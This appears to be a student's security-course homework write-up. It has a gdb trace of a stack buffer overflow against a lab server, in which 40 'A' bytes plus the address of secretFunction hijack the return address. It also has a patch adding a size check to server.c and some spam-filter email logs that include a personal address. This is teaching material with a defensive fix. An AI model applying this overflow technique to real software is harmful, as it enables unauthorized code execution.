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ECE404  
HW10

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(gdb) disas secretFunction
Dump of assembler code for function secretFunction:
   0x0000000000400e18 <+0>:    push    %rbp
   0x0000000000400e19 <+1>:    mov     %rsp,%rbp
   0x0000000000400e1c <+4>:    mov     $0x400fa8,%edi
   0x0000000000400e21 <+9>:    callq   0x4008f0 <puts@plt>
   0x0000000000400e26 <+14>:   mov     $0x1,%edi
   0x0000000000400e2b <+19>:   callq   0x400a00 <exit@plt>
End of assembler dump.
(gdb) c
Continuing.

> breakpoint 2, clientComm (clntSockfd=8, senderBuffSize_addr=0x7fffffffda0,
    optlen_addr=0x7fffffffda08) at server.c:104
104         int numBytes = 0;
(gdb) c
Continuing.
RECEIVED: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@RECEIVED BYTES: 43

Breakpoint 1, clientComm (clntSockfd=8, senderBuffSize_addr=0x7fffffffda0,
    optlen_addr=0x7fffffffda08) at server.c:132
132     }
(gdb) x /104b $rsp
0x7fffffffda60: 0x00  0xdb  0xff  0xff  0xff  0x7f  0x00  0x00
0x7fffffffda68: 0xc8  0xda  0xff  0xff  0xff  0x7f  0x00  0x00
0x7fffffffda70: 0xf0  0xda  0xff  0xff  0xff  0x7f  0x00  0x00
0x7fffffffda78: 0x30  0x0a  0x40  0x00  0x08  0x00  0x00  0x00
0x7fffffffda80: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0x7fffffffda88: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0x7fffffffda90: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0x7fffffffda98: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0x7fffffffdaa0: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0x7fffffffdaa8: 0x18  0x0e  0x40  0x00  0x00  0x00  0x00  0x00
0x7fffffffdaab0: 0xe8  0xdb  0xff  0xff  0xff  0x7f  0x00  0x00
0x7fffffffdaab8: 0xff  0xb5  0xf0  0x00  0x02  0x00  0x00  0x00
0x7fffffffdaac0: 0x01  0x00  0x00  0x00  0x00  0x00  0x00  0x00
(gdb) c
Continuing.
You weren't supposed to get here!
[Inferior 1 (process 216600) exited with code 01]
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Here is the string that caused a buffer overflow. I found this by setting a breakpoint at the end of clientComm and then continuing past that address until I found where multiple A's were being printed. Once that was found I determined through further investigation that 40 leading A's were needed before the address of the start of secret function was inputted. After inputting these A's followed by the start address of secretFunction the string caused a buffer overflow.

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recvBuff[numBytes] = '\0';
if(DataPrint(recvBuff, numBytes)){
    fprintf(stderr, "ERROR, no way to print out\n");
    exit(1);
}

//added code to prevent buffer overflow
if(*senderBuffSize_addr > MAX_DATA_SIZE){
    printf("Sent too many bytes of data closing now!\n\n");
    exit(1);
}

strcpy(str, recvBuff);

/* send data to the client */
if (send(clntSockfd, str, strlen(str), 0) == -1) {
    perror("send failed");
    close(clntSockfd);
    exit(1);
}

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This was the few lines of code I added to server.c that prevented the buffer overflow. This way the sender buffer size address that the client sends will never exceed the data size of the server and a buffer overflow won't occur.

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New message log:
1
From chan.ng.cashin@gmail.com Thu Apr 4 17:47:13 2024
Subject: Test for HW10
Folder: spamFolder 3481

New message log:
2
From chan.ng.cashin@gmail.com Thu Apr 4 17:48:40 2024
Subject: Yes
> Folder: spamFolder 3467

New message log:
3
From chan.ng.cashin@gmail.com Thu Apr 4 17:49:02 2024
Subject: ECE404
Folder: spamFolder 3487

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New message log:
6
From chan.ng.cashin@gmail.com Thu Apr 4 17:51:03 2024
Subject: Thank you
Folder: spamFolder 3471

New message log:
7
From chan.ng.cashin@gmail.com Thu Apr 4 17:51:15 2024
Subject: Avi Kai is the man
Folder: spamFolder 3473
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Here are some email logs from my mail spam mail account.